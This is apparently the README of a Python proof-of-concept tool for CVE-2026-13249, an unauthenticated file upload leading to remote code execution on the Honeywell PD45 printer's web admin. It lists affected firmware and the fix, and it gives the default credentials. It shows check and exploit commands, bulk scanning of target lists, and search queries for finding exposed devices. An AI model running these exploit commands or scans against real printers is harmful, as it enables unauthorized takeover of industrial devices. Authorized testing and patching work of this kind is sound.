Unauthenticated arbitrary file upload on Honeywell PD45 web admin (firmware F10.19.010040–before F10.22.030745) leading to RCE. Python check/exploit PoC
Python 3 PoC for CVE-2026-13249 — Honeywell PD45 Industrial Printer web management interface.
CVE-2026-13249 — Firmware F10.19.010040 through before F10.22.030745 exposes an unauthenticated arbitrary file upload on the printer HTTPS web admin (CWE-306, CWE-434, CWE-78). Attackers can upload attacker-controlled files that may be executed as commands on the device (RCE). CVSS 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Fix: upgrade to F10.22.030745 or newer; restrict web UI to trusted management networks.
PoC page: https://pocbit.org/pocs/cve-2026-13249
Vendor: Honeywell product security notices
Catalog: https://pocbit.org/pocs/
| Product | Honeywell PD45 Industrial Printer |
| Affected firmware | ≥ F10.19.010040 and < F10.22.030745 |
| Fixed firmware | F10.22.030745 |
| Interface | Web management (HTTPS, default creds documented as itadmin / pass for authenticated flows) |
| Impact | Unauth upload → RCE |
Honeywell’s public advisory does not publish the exact unauthenticated upload URI. This PoC fingerprints the device and firmware, optionally scrapes multipart forms under /Manage/ and /Services/, and supports --upload-url from your own capture on a lab unit.
pip install -r requirements.txt
python poc.py -u https://10.10.10.50 --mode check
python poc.py -u https://10.10.10.50 --mode check --upload-probe
python poc.py -u https://10.10.10.50 --mode exploit \
--upload-url "https://10.10.10.50/..." --field file \
--verify-url "https://10.10.10.50/pocbit_13249.txt"
python poc.py --list targets.example.txt --mode check -j 8
title="Honeywell" && body="PD45"
ssl.cert.subject.cn="PD45"
Authorized testing on printers you own or have explicit permission to assess. --upload-probe / --mode exploit write data to the target device.